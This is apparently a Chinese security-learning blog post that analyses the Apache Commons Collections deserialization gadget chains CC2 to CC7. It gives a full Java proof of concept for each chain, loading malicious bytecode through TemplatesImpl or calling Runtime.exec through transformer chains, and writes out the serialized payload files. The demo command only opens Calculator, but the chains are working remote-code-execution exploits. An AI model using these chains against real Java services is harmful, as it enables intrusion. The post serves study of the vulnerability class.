Java安全漫谈(3)——CommonsCollections利用链补全
0x1 前言
这部分内容比较枯燥,将逐个对CommonsCollections相关的利用链进行分析并对比他们的异同,像我这样挨个啃并非最佳的学习路线,以后可能会更新更适合新手的学习顺序。
0x2 CommonsCollections2
CommonsCollections2这条链依赖于commons-collections4
4.0,没有JDK版本限制。
调用链:
PriorityQueue.readObject()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
Runtime.exec()
旧瓶新酒
先看看PriorityQueue.readObject()
:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
s.readint();
queue = new Object[size];
for (int i = 0; i < size; i++)
queue[i] = s.readObject();
heapify();
}
将序列化后的数据填充进queue
,然后调用了heapify()
,一路跟入,可以发现这样的路径:
heapify() -> siftDown() -> siftDownUsingComparator() -> comparator.compare()
comparator
从构造方法中传入,类型Comparator
是一个接口,其中一个实现就是TransformingComparator
,其compare()
如下:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
熟悉的味道,又是transform()
,那么我们可以构造PoC了:
ChainedTransformer chain = new ChainedTransformer(new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
);
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue<String> queue = new PriorityQueue<>();
queue.add("1");
queue.add("2");
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
这里没有在新建实例时填入comparator
,而是利用反射来修改,这样就避免了在序列化时触发恶意payload。
TemplatesImpl
ysoserial
的payload要更复杂一点,它使用了TemplatesImpl
来加载恶意的字节码,这一点要重点介绍,因为有许多漏洞以及利用链都与它有关。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
中的内部类TransletClassLoader
继承了ClassLoader
,可以看到,其defineClass()
并未显式声明作用域:
所以该方法作用域为default
,即可以被同一个package的其他类调用。
但TransletClassLoader
是内部类,只能被TemplatesImpl
类的方法调用,回溯其调用链:
TemplatesImpl.getOutputProperties()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
getOutputProperties()
和newTransformer()
作用域都是public
,都可以在类外部调用。
尝试利用它来加载字节码,先写一个测试类,编译成.class
文件:
public class evilByteCode extends AbstractTranslet {
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
public evilByteCode(){
super();
System.out.println("This is Test");
}
}
加载:
public class TemplatesImplTest {
public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
Field f = templates.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(templates, obj);
}
public static void main(String[] args) throws Exception{
byte[] byteCodes = Base64.getDecoder().decode("yv66vgAAADQAIQoA......"); // base64 from evilByteCode.class
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][] {byteCodes});
setFieldValue(templates, "_name", "TestTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
这里要注意:
- 引入的
TemplatesImpl
是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
,而不是org.apache.xalan.xsltc.trax.TemplatesImpl
;同样,恶意字节码类继承的是com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,而不是org.apache.xalan.xsltc.runtime.AbstractTranslet
- 恶意字节码类必须继承
AbstractTranslet
类 - 设置的三个属性里,
_bytecodes
是字节码数组,_name
可以为任意不为null的字符串,_tfactory
需要是TransformerFactoryImpl
对象
这种方法每次都得手动编译再编码,太麻烦,使用javassist
类库可以更方便地生成字节码。
Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。
主要用到两个类:ClassPool
和CtClass
,ClassPool
是CtClass
对象的容器,它按需读取类文件来构造CtClass
对象,并且保存CtClass
对象以便以后使用,写个例子:
ClassPool pool = ClassPool.getDefault();
CtClass c = pool.makeClass("ClassTest");
String cmd = "System.out.println(\"This is ClassTest\");";
c.makeClassInitializer().insertBefore(cmd);
c.writeFile();
Class clazz = c.toClass();
clazz.newInstance();
生成的class
文件如下:
public class ClassTest {
static {
System.out.println("This is ClassTest");
}
public ClassTest() {
}
}
这里涉及到一个小知识,类初始化的时候会调用static {}
里面的代码,它比构造方法还要更先执行。
构造PoC
梳理一下PoC的构造流程:
- 利用Javassist生成恶意字节码,填入
TemplatesImpl
对象 - 新建
PriorityQueue
实例,利用反射将TemplatesImpl
对象填入属性queue
- 新建
InvokerTransformer
实例,传入TransformingComparator
构造参数进行实例化,再利用反射将其填入PriorityQueue.comparator
属性
PoC:
public class CommonsCollections2 {
public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
Field f = templates.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(templates, obj);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
ct.makeClassInitializer().insertBefore(cmd);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ct.toBytecode();
byte[][] evilBytes = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", evilBytes);
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_class", null);
PriorityQueue queue = new PriorityQueue(1);
Object[] queues = new Object[]{templates, 1};
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
field.setAccessible(true);
field.set(queue, queues);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Transformer transformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator comparator = new TransformingComparator(transformer);
Field comparatorField = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
FileOutputStream file = new FileOutputStream("./cc2.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(queue);
}
}
0x3 CommonsCollections3
CommonsCollections3被ysoserial
作者描述为CommonsCollections1的变种,其实也有CommonsCollections2的影子,其依赖和利用版本限制与CommonsCollections1一样。
调用链:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TemplatesImpl.newTransformer()
通过调用链可以看出,CommonsCollections3使用InstantiateTransformer
替代InvokerTransformer
,还用到了TemplatesImpl.newTransformer()
。
来看看InstantiateTransformer.transform()
的核心代码:
public Object transform(Object input) {
if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}
Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);
}
该方法需要接受一个Class
对象,然后获取其构造方法并调用以创建实例,参数iParamTypes
和iArgs
都从InstantiateTransformer
类的构造方法中传入。
这条链还涉及到一个新的TrAXFilter
类,构造方法如下:
public TrAXFilter(Templates templates) throws TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_useServicesMechanism = _transformer.useServicesMechnism();
}
传入Templates
对象之后,会调用TransformerImpl.newTransformer()
.
如何将两者结合起来?把目光投向已经了解过的ChainedTransformer
,它会将传入的Transformer
对象依次调用transform()
,并且前一个的输出会成为后一个的输入。
那么这样进行串连:
ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
让存储恶意字节码的templates
传入TrAXFilter
类的构造方法,就能触发TransformerImpl.newTransformer()
以加载恶意字节码。
其他部分其实都是已经分析过的,直接给出Poc:
public class CommonsCollections3 {
public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
Field f = templates.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(templates, obj);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
ct.makeClassInitializer().insertBefore(cmd);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ct.toBytecode();
byte[][] evilBytes = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", evilBytes);
setFieldValue(templates, "_name", "cc3Test");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap hashMap = new HashMap();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashMap, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(Target.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, handler);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, proxyMap);
FileOutputStream file = new FileOutputStream("./cc3.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(file);
outputStream.writeObject(invocationHandler);
}
}
也可以写一个TransformedMap
版本的PoC:
public class CommonsCollections3_2 {
public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
Field f = templates.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(templates, obj);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
ct.makeClassInitializer().insertBefore(cmd);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ct.toBytecode();
byte[][] evilBytes = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", evilBytes);
setFieldValue(templates, "_name", "cc3Test");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer( new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
HashMap hashMap = new HashMap();
hashMap.put("value",1);
Map map = TransformedMap.decorate(hashMap, null, chain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
FileOutputStream fileOutputStream = new FileOutputStream("./cc3_2.bin");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(invocationHandler);
}
}
0x4 CommonsCollections4
也许你对CommonsCollections4抱有期待,希望学到新的利用点和方法,但很遗憾,它仍然是前面利用链的变种。
ysoserial
中,CommonsCollections4是将CommonsCollections2的InvokerTransformer
换成了InstantiateTransformer
,搁这排列组合了属于是。依赖和CommonsCollections2一样,没有JDK版本限制。
所以直接给出PoC:
public class CommonsCollections4 {
public static void setFieldValue(TemplatesImpl templates, String field, Object obj) throws Exception {
Field f = templates.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(templates, obj);
}
public static void main(String[] args) throws Exception{
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass ct = pool.makeClass("evilClass");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open -a Calculator.app\");";
ct.makeClassInitializer().insertBefore(cmd);
ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = ct.toBytecode();
byte[][] evilBytes = new byte[][]{classBytes};
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", evilBytes);
setFieldValue(templates, "_name", "evil");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(2, comparator);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
field.setAccessible(true);
field.set(queue, 2);
Field comparatorField = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparatorField.setAccessible(true);
comparatorField.set(queue, comparator);
FileOutputStream file = new FileOutputStream("./cc4.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(queue);
}
}
0x5 CommonsCollections5
CommonsCollections5虽然也用到了LazyMap
和ChainedTransformer
,但它在高版本的JDK下也可用,所以就面临两个新的问题:
- 反序列化的入口类
- 怎么触发
LazyMap.get()
先来看第二个问题,答案在org.apache.commons.collections.keyvalue.TiedMapEntry
类中,其getValue()
如下:
public Object getValue() {
return map.get(key);
}
调用此方法的地方也比较多,如equals()
、hashCode()
等,这里使用干扰比较少的toString()
:
public String toString() {
return getKey() + "=" + getValue();
}
下面该解决第一个问题了,找到一个在反序列化时能够触发TiedMapEntry.toString()
的类,最后的结果是javax.management.BadAttributeValueExpException
类,来看看它的readObject()
:
在反序列化时读取变量val
进行判断,当System.getSecurityManager() == null
或其为除String
之外的基础类型时,才会调用toString()
。
综合上面的介绍,我们可以写出PoC了,诸如之前的排列组合,这里也可以利用InstantiateTransformer
、TemplatesImpl
之类自由搭配,示例就用最初介绍的这种:
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
});
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
BadAttributeValueExpException bad = new BadAttributeValueExpException("2");
Field field = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
field.setAccessible(true);
field.set(bad, tied);
FileOutputStream file = new FileOutputStream("./cc5.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(bad);
如果不用反射来设置val
的值,会直接触发toString()
,要避免这种情况的发生。
0x6 CommonsCollections6
坏消息:CommonsCollections6又是缝合怪
好消息:全给他缝完了
CommonsCollections6综合了URLDNS和CommonsCollections5的相关内容,选择TiedMapEntry
类的另一个方法来触发LazyMap.get()
,即TiedMapEntry.hashCode()
:
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
能够触发该方法的思路有两种:
- 通过
HashMap.put()
,和URLDNS一样 - 通过新的类
java.util.HashSet
这里就只介绍HashSet
这种思路,来看HashSet.readObject()
:
这里调用了Map.put()
,那么后面的地方也就一样了,PoC:
HashMap hashMap = new HashMap();
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashMap.put(tied, "2");
HashSet hashSet = new HashSet(hashMap.keySet());
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();
FileOutputStream file = new FileOutputStream("./cc6.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashSet);
最后为何要执行LazyMap.clear()
?去掉它然后调试看看:
因为map.containsKey(key)
结果为true
,所以并没有进入if
语句块中,那么也就不能触发transform()
,更不会执行命令。
PoC中并没有为lazyMap
对象赋值,该值来自于HashMap.put()
:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
HashMap.put()
中调用了一次HashMap.hash()
,其中调用了hashCode()
:
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
这里相当于调用TiedMapEntry.hashCode()
,也就会调用到LazyMap.get()
,这时lazyMap
对象中并没有相应的key
,那么就会进入if
语句块,不仅对其进行了赋值,还调用了transform()
,有两个后果:
- 赋值之后,在进行真正的payload生成流程时,会因为这时
lazyMap
对象中有相应的key
而无法触发transform()
- 如果不使用反射的方式在最后才填入真正的
ChainedTransformer
对象,那么在生成payload的阶段就会在本地触发命令执行
上面的PoC与ysoserial
中相比更简略,因为作者对JDK7和8中部分成员变量名改变的情况做了适配,为不同对象的赋值方式也有变化。
调用链:
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
LazyMap.get()
ChainedTransformer.transform()
InvokerTransformer.transform()
0x7 CommonsCollections7
CommonsCollections7的核心仍然是触发LazyMap.get()
,用到的是java.util.Hashtable
类。
在Hashtable.readObject()
中,调用了reconstitutionPut()
:
该方法中调用了hashCode()
:
所以实际上这条链和CommonsCollections6的区别很小,直接写PoC:
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Hashtable hashtable = new Hashtable();
Map lazyMap = LazyMap.decorate(new HashMap(), chain);
TiedMapEntry tied = new TiedMapEntry(lazyMap, "1");
hashtable.put(tied, "2");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap.clear();
FileOutputStream file = new FileOutputStream("./cc7.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashtable);
ysoserial
中的调用链和上面我们写的有些差异:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
这种方法用的不是hashCode()
而是equals()
:
跟入可以发现,最终调用的是AbstractMap.equals()
:
m
实际就是传入的LazyMap
对象,这里就能触发LazyMap.get()
。
还有一些细节需要处理,在Hashtable.reconstitutionPut()
中,要进入equals()
,就得先进入for循环,但如果只调用put()
一次,是无法进入循环的:
这时tab
为null,不能进入循环。在下面会将值存入tab
,所以需要调用两次put()
.
这样又带来新的问题,循环的初始设置e = tab[index]
,index
的值与hash
变量有关,那么就要求两次调用put()
得到的hash
变量值相等,否则会因为index
值不同导致第二次tab[index]
取不到值,无法进入循环。
这很简单,两次都传入相同的值就能解决。
但是,问题又来了,在Hashtable.readObject()
中,传入两个相同的值会导致elements
值为1,reconstitutionPut()
只会被调用一次:
最终的解决办法是传入yy
和zZ
,它们的hashCode
相等:
现在还有最后一个问题,在AbstractMap.equals()
中,有一处判断:
if (m.size() != size())
return false;
调试发现,第二次进入这里时,m.size()
值为2,size()
值为1,这里不相等就无法进入之后的逻辑,为什么会多出来一个yy
?
答案需要通过调试来寻找,将断点下在LazyMap.get()
处:
调用栈信息表明,LazyMap.get()
是在调用Hashtable.put()
时被触发的,此时传入的key
为yy
,而因为使用反射再最后才填入ChainedTransformer
对象,所以这里返回的value
值也为yy
,所以第二个LazyMap
对象中会多出一个前面put
进来的值,解决办法就是使用LazyMap.remove()
将其移除。
最终的PoC:
ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open -a Calculator.app"})
};
Map hashMap1 = new HashMap();
Map hashMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(hashMap1, chain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(hashMap2, chain);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain, transformer);
lazyMap2.remove("yy");
FileOutputStream file = new FileOutputStream("./cc7_2.bin");
ObjectOutputStream output = new ObjectOutputStream(file);
output.writeObject(hashtable);
0x8 总结
在学习了CommonsCollections1-7所有的调用链之后,可以明显看出,这些利用链都是在寻找不同的方法来触发transform()
,并且同一个利用链的构造思路也不是唯一的,我们就讨论了几种和ysoserial
中不同的构造思路。
刷完了这些也不要急着开心,因为你很快就会忘掉,所以我们后面还会根据应用不断地回顾这些知识的。
最后给出一个我自己画的CommonsCollections系列利用链泳道图,针对某些利用链有多种思路的情况,我通常选择在上面的文章里着重讲述的那一条:

参考文章: